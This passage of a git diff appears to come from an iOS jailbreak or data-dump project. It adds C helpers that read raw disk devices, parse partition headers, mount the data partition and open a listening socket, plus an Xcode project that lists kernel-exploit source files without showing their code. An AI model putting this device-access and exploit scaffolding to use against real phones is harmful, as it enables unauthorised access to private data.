__dbltool__sock__ + +int sock_listen(unsigned short portnum); +int sock_accept(int sock); +int sock_send(int sock, unsigned char* data, unsigned int size); +int sock_recv(int sock, unsigned char* data, unsigned int size); + +#endif /* defined(__dbltool__sock__) */ diff --git a/dump/dump/util.c b/dump/dump/util.c new file mode 100644 index 0000000..7c71c48 --- /dev/null +++ b/dump/dump/util.c @@ -0,0 +1,220 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "util.h" + +char* hex2str(uint8_t* buf, unsigned int sz) { + int i = 0; + unsigned int strsz = sz*2; + char* str = malloc(strsz+1); + for(i = 0; i < sz; i++) sprintf(&str[i*2], "%02x", *(unsigned char*)&buf[i]); + str[strsz] = '\0'; + return str; +} + +uint8_t* str2hex(char* buf) { + int i = 0; + size_t size = 0; + unsigned int byte = 0; + size = strlen(buf) / 2; + uint8_t* data = malloc(size); + + for(i = 0; i < size; i++) { + sscanf(buf, "%02x", &byte); + data[i] = byte; + buf += 2; + } + return data; +} + +void printBytesToHex(const uint8_t* buffer, size_t bytes) +{ + while(bytes > 0) { + printf("%02x", *buffer); + buffer++; + bytes--; + } +} + +void printHexString(const char* description, const uint8_t* buffer, size_t bytes) +{ + printf("%s : ", description); + printBytesToHex(buffer, bytes); + printf("\n"); +} + +int write_file(const char* filename, uint8_t* data, size_t len) +{ + int fd = open(filename, O_CREAT | O_RDWR); + if (fd < 0) + return -1; + if (write(fd, data, len) != len) + return -1; + close(fd); + return 0; +} + +void writePlistToStdout(CFDictionaryRef out) +{ + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + if (d == NULL) + return; + write(1, CFDataGetBytePtr(d), CFDataGetLength(d)); +} + +int mountDataPartition(const char* mountpoint) +{ + char* diskname = "/dev/disk0s2s1"; + int err; + printf("Trying to mount data partition\n"); + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + + diskname = "/dev/disk0s1s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + diskname = "/dev/disk0s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + + return err; +} + + +int getHFSInfos(struct HFSInfos *infos) +{ + char buf[8192] = {0}; + struct HFSPlusVolumeHeader* header; + unsigned int i; + + int fd = open("/dev/rdisk0s2", O_RDONLY); + if (fd < 0 ) + fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm + if (fd < 0 ) + return fd; + lseek(fd, 0, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + header = (struct HFSPlusVolumeHeader*) &buf[0x400]; + + uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize); + + infos->volumeUUID = header->volumeUUID; + infos->blockSize = blockSize; + + if (blockSize != 0x1000 && blockSize != 0x2000) + { + fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize); + } + else + { + fd = open("/dev/rdisk0", O_RDONLY); + if (fd < 0 ) + return fd; + + if (read(fd, buf, 8192) != 8192) + return -1; + + if (!memcmp(buf, LwVMType, 16)) + { + LwVM* lwvm = (LwVM*) buf; + + if (lwvm->chunks[0] != 0xF000) + { + fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n"); + return -1; + } + + for(i=0; i < 0x400; i++) + { + if(lwvm->chunks[i] == 0x1000) //partition 1 block 0 + { + break; + } + } + uint32_t LwVM_rangeShiftValue = 32 - __builtin_clz((lwvm->mediaSize - 1) >> 10); + + infos->dataVolumeOffset = (i << LwVM_rangeShiftValue) / blockSize; + } + else + { + lseek(fd, 2*blockSize, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4]; + } + } + return 0; +} + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len) +{ + int i; + + CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2); + + for(i=0; i < len; i++) + { + CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]); + } + return s; +} + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len) +{ + CFMutableStringRef s = CreateHexaCFString(buffer, len); + CFDictionaryAddValue(out, key, s); + CFRelease(s); +} + +void saveResults(CFStringRef filename, CFMutableDictionaryRef out) +{ + CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE); + CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL); + CFWriteStreamOpen(stream); + CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL); + CFWriteStreamClose(stream); + + CFRelease(stream); + CFRelease(fileURL); +} + +int create_listening_socket(int port) +{ + struct sockaddr_in listen_addr; + int s, one = 1; + + memset(&listen_addr, 0, sizeof(struct sockaddr)); + listen_addr.sin_family = AF_INET; + listen_addr.sin_port = htons(port); + listen_addr.sin_addr.s_addr = INADDR_ANY; + + s = socket(AF_INET, SOCK_STREAM, 0); + + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0) + { + perror("bind"); + return -1; + } + listen(s, 10); + + return s; +} diff --git a/dump/dump/util.h b/dump/dump/util.h new file mode 100644 index 0000000..3b69117 --- /dev/null +++ b/dump/dump/util.h @@ -0,0 +1,85 @@ +#include + +struct HFSInfos { + uint64_t volumeUUID; + uint32_t blockSize; + uint32_t dataVolumeOffset; +}; + +struct HFSPlusVolumeHeader { + uint16_t signature; + uint16_t version; + uint32_t attributes; + uint32_t lastMountedVersion; + uint32_t journalInfoBlock; + + uint32_t createDate; + uint32_t modifyDate; + uint32_t backupDate; + uint32_t checkedDate; + + uint32_t fileCount; + uint32_t folderCount; + + uint32_t blockSize; + uint32_t totalBlocks; + uint32_t freeBlocks; + + uint32_t nextAllocation; + uint32_t rsrcClumpSize; + uint32_t dataClumpSize; + uint32_t nextCatalogID; + + uint32_t writeCount; + uint64_t encodingsBitmap; + + uint32_t finderInfo[6]; + uint64_t volumeUUID; + /* + HFSPlusForkData allocationFile; + HFSPlusForkData extentsFile; + HFSPlusForkData catalogFile; + HFSPlusForkData attributesFile; + HFSPlusForkData startupFile;*/ +} __attribute__((packed)); + +//https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h +typedef struct _LwVMPartitionRecord { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t begin; + uint64_t end; + uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted + char partitionName[0x48]; +} __attribute__ ((packed)) LwVMPartitionRecord; + +typedef struct _LwVM { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t mediaSize; + uint32_t numPartitions; + uint32_t crc32; + uint8_t unkn[464]; + LwVMPartitionRecord partitions[12]; + uint16_t chunks[1024]; // chunks[0] should be 0xF000 +} __attribute__ ((packed)) LwVM; + +static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B }; + +int getHFSInfos(struct HFSInfos *infos); + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len); + +void printBytesToHex(const uint8_t* buffer, size_t bytes); +void printHexString(const char* description, const uint8_t* buffer, size_t bytes); +int write_file(const char* filename, uint8_t* data, size_t len); + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len); +void saveResults(CFStringRef filename, CFMutableDictionaryRef out); +void writePlistToStdout(CFDictionaryRef out); + +int mountDataPartition(const char* mountpoint); + +int create_listening_socket(int port); +char* hex2str(uint8_t* buf, unsigned int sz); +uint8_t* str2hex(char* buf); diff --git a/konsole.sh b/konsole.sh new file mode 100644 index 0000000..f5f4aac --- /dev/null +++ b/konsole.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +echo "Sudo Konsole!!!” + +cd konsole +xcodebuild \ No newline at end of file diff --git a/konsole/konsole.xcodeproj/project.pbxproj b/konsole/konsole.xcodeproj/project.pbxproj new file mode 100644 index 0000000..ea12225 --- /dev/null +++ b/konsole/konsole.xcodeproj/project.pbxproj @@ -0,0 +1,519 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A75E8F2197EEE6A0007FCA7 /* konsole.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8F1197EEE6A0007FCA7 /* konsole.c */; }; + 8A75E901197EF08D0007FCA7 /* shell.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E900197EF08D0007FCA7 /* shell.c */; }; + 8A75E928197EF97E0007FCA7 /* avio.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E903197EF97E0007FCA7 /* avio.c */; }; + 8A75E929197EF97E0007FCA7 /* command.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E905197EF97E0007FCA7 /* command.c */; }; + 8A75E92A197EF97E0007FCA7 /* dangu.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E907197EF97E0007FCA7 /* dangu.c */; }; + 8A75E92B197EF97E0007FCA7 /* devtree.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90A197EF97E0007FCA7 /* devtree.c */; }; + 8A75E92C197EF97E0007FCA7 /* earlyrandom.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */; }; + 8A75E92D197EF97E0007FCA7 /* find.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E90E197EF97E0007FCA7 /* find.c */; }; + 8A75E92E197EF97E0007FCA7 /* kaslr.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E910197EF97E0007FCA7 /* kaslr.c */; }; + 8A75E92F197EF97E0007FCA7 /* kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E912197EF97E0007FCA7 /* kernel.c */; }; + 8A75E930197EF97E0007FCA7 /* m1n0rthreat.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */; }; + 8A75E931197EF97E0007FCA7 /* macho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E916197EF97E0007FCA7 /* macho.c */; }; + 8A75E933197EF97E0007FCA7 /* pmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91A197EF97E0007FCA7 /* pmap.c */; }; + 8A75E934197EF97E0007FCA7 /* section.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91C197EF97E0007FCA7 /* section.c */; }; + 8A75E935197EF97E0007FCA7 /* segment.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E91E197EF97E0007FCA7 /* segment.c */; }; + 8A75E936197EF97E0007FCA7 /* symbol.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E920197EF97E0007FCA7 /* symbol.c */; }; + 8A75E937197EF97E0007FCA7 /* symtab.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E922197EF97E0007FCA7 /* symtab.c */; }; + 8A75E938197EF97E0007FCA7 /* tfp0.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E924197EF97E0007FCA7 /* tfp0.c */; }; + 8A75E939197EF97E0007FCA7 /* vmmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E926197EF97E0007FCA7 /* vmmap.c */; }; + 8A75E94B197F00A80007FCA7 /* debug.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E94A197F00A80007FCA7 /* debug.c */; }; + 8A75E94D197F010B0007FCA7 /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */; }; + 8A75E94F197F01200007FCA7 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A75E94E197F01200007FCA7 /* IOKit.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A75E8E5197EEE6A0007FCA7 /* konsole */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = konsole; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A75E8EA197EEE6A0007FCA7 /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A75E8EB197EEE6A0007FCA7 /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A75E8ED197EEE6A0007FCA7 /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A75E8F0197EEE6A0007FCA7 /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A75E8F1197EEE6A0007FCA7 /* konsole.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = konsole.c; sourceTree = ""; }; + 8A75E900197EF08D0007FCA7 /* shell.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = shell.c; sourceTree = ""; }; + 8A75E902197EF09C0007FCA7 /* shell.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = shell.h; sourceTree = ""; }; + 8A75E903197EF97E0007FCA7 /* avio.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = avio.c; path = ../../patch/patch/avio.c; sourceTree = ""; }; + 8A75E904197EF97E0007FCA7 /* avio.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = avio.h; path = ../../patch/patch/avio.h; sourceTree = ""; }; + 8A75E905197EF97E0007FCA7 /* command.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = command.c; path = ../../patch/patch/command.c; sourceTree = ""; }; + 8A75E906197EF97E0007FCA7 /* command.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = command.h; path = ../../patch/patch/command.h; sourceTree = ""; }; + 8A75E907197EF97E0007FCA7 /* dangu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = dangu.c; path = ../../patch/patch/dangu.c; sourceTree = ""; }; + 8A75E908197EF97E0007FCA7 /* dangu.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = dangu.h; path = ../../patch/patch/dangu.h; sourceTree = ""; }; + 8A75E909197EF97E0007FCA7 /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = debug.h; path = ../../patch/patch/debug.h; sourceTree = ""; }; + 8A75E90A197EF97E0007FCA7 /* devtree.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = devtree.c; path = ../../patch/patch/devtree.c; sourceTree = ""; }; + 8A75E90B197EF97E0007FCA7 /* devtree.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = devtree.h; path = ../../patch/patch/devtree.h; sourceTree = ""; }; + 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = earlyrandom.c; path = ../../patch/patch/earlyrandom.c; sourceTree = ""; }; + 8A75E90D197EF97E0007FCA7 /* earlyrandom.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = earlyrandom.h; path = ../../patch/patch/earlyrandom.h; sourceTree = ""; }; + 8A75E90E197EF97E0007FCA7 /* find.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = find.c; path = ../../patch/patch/find.c; sourceTree = ""; }; + 8A75E90F197EF97E0007FCA7 /* find.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = find.h; path = ../../patch/patch/find.h; sourceTree = ""; }; + 8A75E910197EF97E0007FCA7 /* kaslr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = kaslr.c; path = ../../patch/patch/kaslr.c; sourceTree = ""; }; + 8A75E911197EF97E0007FCA7 /* kaslr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kaslr.h; path = ../../patch/patch/kaslr.h; sourceTree = ""; }; + 8A75E912197EF97E0007FCA7 /* kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = kernel.c; path = ../../patch/patch/kernel.c; sourceTree = ""; }; + 8A75E913197EF97E0007FCA7 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kernel.h; path = ../../patch/patch/kernel.h; sourceTree = ""; }; + 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = m1n0rthreat.c; path = ../../patch/patch/m1n0rthreat.c; sourceTree = ""; }; + 8A75E915197EF97E0007FCA7 /* m1n0rthreat.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = m1n0rthreat.h; path = ../../patch/patch/m1n0rthreat.h; sourceTree = ""; }; + 8A75E916197EF97E0007FCA7 /* macho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = macho.c; path = ../../patch/patch/macho.c; sourceTree = ""; }; + 8A75E917197EF97E0007FCA7 /* macho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = macho.h; path = ../../patch/patch/macho.h; sourceTree = ""; }; + 8A75E91A197EF97E0007FCA7 /* pmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pmap.c; path = ../../patch/patch/pmap.c; sourceTree = ""; }; + 8A75E91B197EF97E0007FCA7 /* pmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = pmap.h; path = ../../patch/patch/pmap.h; sourceTree = ""; }; + 8A75E91C197EF97E0007FCA7 /* section.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = section.c; path = ../../patch/patch/section.c; sourceTree = ""; }; + 8A75E91D197EF97E0007FCA7 /* section.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = section.h; path = ../../patch/patch/section.h; sourceTree = ""; }; + 8A75E91E197EF97E0007FCA7 /* segment.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = segment.c; path = ../../patch/patch/segment.c; sourceTree = ""; }; + 8A75E91F197EF97E0007FCA7 /* segment.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = segment.h; path = ../../patch/patch/segment.h; sourceTree = ""; }; + 8A75E920197EF97E0007FCA7 /* symbol.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = symbol.c; path = ../../patch/patch/symbol.c; sourceTree = ""; }; + 8A75E921197EF97E0007FCA7 /* symbol.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = symbol.h; path = ../../patch/patch/symbol.h; sourceTree = ""; }; + 8A75E922197EF97E0007FCA7 /* symtab.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = symtab.c; path = ../../patch/patch/symtab.c; sourceTree = ""; }; + 8A75E923197EF97E0007FCA7 /* symtab.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = symtab.h; path = ../../patch/patch/symtab.h; sourceTree = ""; }; + 8A75E924197EF97E0007FCA7 /* tfp0.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = tfp0.c; path = ../../patch/patch/tfp0.c; sourceTree = ""; }; + 8A75E925197EF97E0007FCA7 /* tfp0.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = tfp0.h; path = ../../patch/patch/tfp0.h; sourceTree = ""; }; + 8A75E926197EF97E0007FCA7 /* vmmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = vmmap.c; path = ../../patch/patch/vmmap.c; sourceTree = ""; }; + 8A75E927197EF97E0007FCA7 /* vmmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = vmmap.h; path = ../../patch/patch/vmmap.h; sourceTree = ""; }; + 8A75E94A197F00A80007FCA7 /* debug.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = debug.c; sourceTree = ""; }; + 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A75E94E197F01200007FCA7 /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A75E8E2197EEE6A0007FCA7 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A75E94F197F01200007FCA7 /* IOKit.framework in Frameworks */, + 8A75E94D197F010B0007FCA7 /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A75E8DC197EEE6A0007FCA7 = { + isa = PBXGroup; + children = ( + 8A75E94E197F01200007FCA7 /* IOKit.framework */, + 8A75E94C197F010B0007FCA7 /* CoreFoundation.framework */, + 8A75E8E7197EEE6A0007FCA7 /* konsole */, + 8A75E8E6197EEE6A0007FCA7 /* Products */, + ); + sourceTree = ""; + }; + 8A75E8E6197EEE6A0007FCA7 /* Products */ = { + isa = PBXGroup; + children = ( + 8A75E8E5197EEE6A0007FCA7 /* konsole */, + ); + name = Products; + sourceTree = ""; + }; + 8A75E8E7197EEE6A0007FCA7 /* konsole */ = { + isa = PBXGroup; + children = ( + 8A75E909197EF97E0007FCA7 /* debug.h */, + 8A75E94A197F00A80007FCA7 /* debug.c */, + 8A75E946197EFA4D0007FCA7 /* find */, + 8A75E93C197EF9A00007FCA7 /* macho */, + 8A75E93B197EF9950007FCA7 /* kaslr */, + 8A75E93A197EF98E0007FCA7 /* kernel */, + 8A75E8F1197EEE6A0007FCA7 /* konsole.c */, + 8A75E8E8197EEE6A0007FCA7 /* Package */, + 8A75E8EC197EEE6A0007FCA7 /* Supporting Files */, + ); + path = konsole; + sourceTree = ""; + }; + 8A75E8E8197EEE6A0007FCA7 /* Package */ = { + isa = PBXGroup; + children = ( + 8A75E8E9197EEE6A0007FCA7 /* DEBIAN */, + 8A75E8EE197EEE6A0007FCA7 /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A75E8E9197EEE6A0007FCA7 /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A75E8EA197EEE6A0007FCA7 /* control.txt */, + 8A75E8EB197EEE6A0007FCA7 /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A75E8EC197EEE6A0007FCA7 /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A75E8ED197EEE6A0007FCA7 /* PackageVersion.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A75E8EE197EEE6A0007FCA7 /* usr */ = { + isa = PBXGroup; + children = ( + 8A75E8EF197EEE6A0007FCA7 /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A75E8EF197EEE6A0007FCA7 /* bin */ = { + isa = PBXGroup; + children = ( + 8A75E8F0197EEE6A0007FCA7 /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A75E93A197EF98E0007FCA7 /* kernel */ = { + isa = PBXGroup; + children = ( + 8A75E900197EF08D0007FCA7 /* shell.c */, + 8A75E902197EF09C0007FCA7 /* shell.h */, + 8A75E912197EF97E0007FCA7 /* kernel.c */, + 8A75E913197EF97E0007FCA7 /* kernel.h */, + 8A75E93D197EF9A60007FCA7 /* exploits */, + ); + name = kernel; + sourceTree = ""; + }; + 8A75E93B197EF9950007FCA7 /* kaslr */ = { + isa = PBXGroup; + children = ( + 8A75E910197EF97E0007FCA7 /* kaslr.c */, + 8A75E911197EF97E0007FCA7 /* kaslr.h */, + 8A75E93E197EF9AB0007FCA7 /* exploits */, + ); + name = kaslr; + sourceTree = ""; + }; + 8A75E93C197EF9A00007FCA7 /* macho */ = { + isa = PBXGroup; + children = ( + 8A75E905197EF97E0007FCA7 /* command.c */, + 8A75E906197EF97E0007FCA7 /* command.h */, + 8A75E916197EF97E0007FCA7 /* macho.c */, + 8A75E917197EF97E0007FCA7 /* macho.h */, + 8A75E91C197EF97E0007FCA7 /* section.c */, + 8A75E91D197EF97E0007FCA7 /* section.h */, + 8A75E91E197EF97E0007FCA7 /* segment.c */, + 8A75E91F197EF97E0007FCA7 /* segment.h */, + 8A75E920197EF97E0007FCA7 /* symbol.c */, + 8A75E921197EF97E0007FCA7 /* symbol.h */, + 8A75E922197EF97E0007FCA7 /* symtab.c */, + 8A75E923197EF97E0007FCA7 /* symtab.h */, + ); + name = macho; + sourceTree = ""; + }; + 8A75E93D197EF9A60007FCA7 /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E947197EFA830007FCA7 /* pmap */, + 8A75E945197EFA410007FCA7 /* tfp0 */, + 8A75E944197EFA270007FCA7 /* m1n0rthreat */, + 8A75E943197EFA210007FCA7 /* dangu */, + 8A75E942197EFA1D0007FCA7 /* avio */, + ); + name = exploits; + sourceTree = ""; + }; + 8A75E93E197EF9AB0007FCA7 /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E941197EF9F80007FCA7 /* earlyrandom */, + 8A75E940197EF9EF0007FCA7 /* vmmap */, + 8A75E93F197EF9E90007FCA7 /* devtree */, + ); + name = exploits; + sourceTree = ""; + }; + 8A75E93F197EF9E90007FCA7 /* devtree */ = { + isa = PBXGroup; + children = ( + 8A75E90A197EF97E0007FCA7 /* devtree.c */, + 8A75E90B197EF97E0007FCA7 /* devtree.h */, + ); + name = devtree; + sourceTree = ""; + }; + 8A75E940197EF9EF0007FCA7 /* vmmap */ = { + isa = PBXGroup; + children = ( + 8A75E926197EF97E0007FCA7 /* vmmap.c */, + 8A75E927197EF97E0007FCA7 /* vmmap.h */, + ); + name = vmmap; + sourceTree = ""; + }; + 8A75E941197EF9F80007FCA7 /* earlyrandom */ = { + isa = PBXGroup; + children = ( + 8A75E90C197EF97E0007FCA7 /* earlyrandom.c */, + 8A75E90D197EF97E0007FCA7 /* earlyrandom.h */, + ); + name = earlyrandom; + sourceTree = ""; + }; + 8A75E942197EFA1D0007FCA7 /* avio */ = { + isa = PBXGroup; + children = ( + 8A75E903197EF97E0007FCA7 /* avio.c */, + 8A75E904197EF97E0007FCA7 /* avio.h */, + ); + name = avio; + sourceTree = ""; + }; + 8A75E943197EFA210007FCA7 /* dangu */ = { + isa = PBXGroup; + children = ( + 8A75E907197EF97E0007FCA7 /* dangu.c */, + 8A75E908197EF97E0007FCA7 /* dangu.h */, + ); + name = dangu; + sourceTree = ""; + }; + 8A75E944197EFA270007FCA7 /* m1n0rthreat */ = { + isa = PBXGroup; + children = ( + 8A75E914197EF97E0007FCA7 /* m1n0rthreat.c */, + 8A75E915197EF97E0007FCA7 /* m1n0rthreat.h */, + ); + name = m1n0rthreat; + sourceTree = ""; + }; + 8A75E945197EFA410007FCA7 /* tfp0 */ = { + isa = PBXGroup; + children = ( + 8A75E924197EF97E0007FCA7 /* tfp0.c */, + 8A75E925197EF97E0007FCA7 /* tfp0.h */, + ); + name = tfp0; + sourceTree = ""; + }; + 8A75E946197EFA4D0007FCA7 /* find */ = { + isa = PBXGroup; + children = ( + 8A75E90E197EF97E0007FCA7 /* find.c */, + 8A75E90F197EF97E0007FCA7 /* find.h */, + ); + name = find; + sourceTree = ""; + }; + 8A75E947197EFA830007FCA7 /* pmap */ = { + isa = PBXGroup; + children = ( + 8A75E91A197EF97E0007FCA7 /* pmap.c */, + 8A75E91B197EF97E0007FCA7 /* pmap.h */, + ); + name = pmap; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A75E8E4197EEE6A0007FCA7 /* konsole */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A75E8F5197EEE6A0007FCA7 /* Build configuration list for PBXNativeTarget "konsole" */; + buildPhases = ( + 8A75E8E1197EEE6A0007FCA7 /* Sources */, + 8A75E8E2197EEE6A0007FCA7 /* Frameworks */, + 8A75E8E3197EEE6A0007FCA7 /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = konsole; + productName = konsole; + productReference = 8A75E8E5197EEE6A0007FCA7 /* konsole */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A75E8DD197EEE6A0007FCA7 /* Project object */ = { + isa = PBXProject; 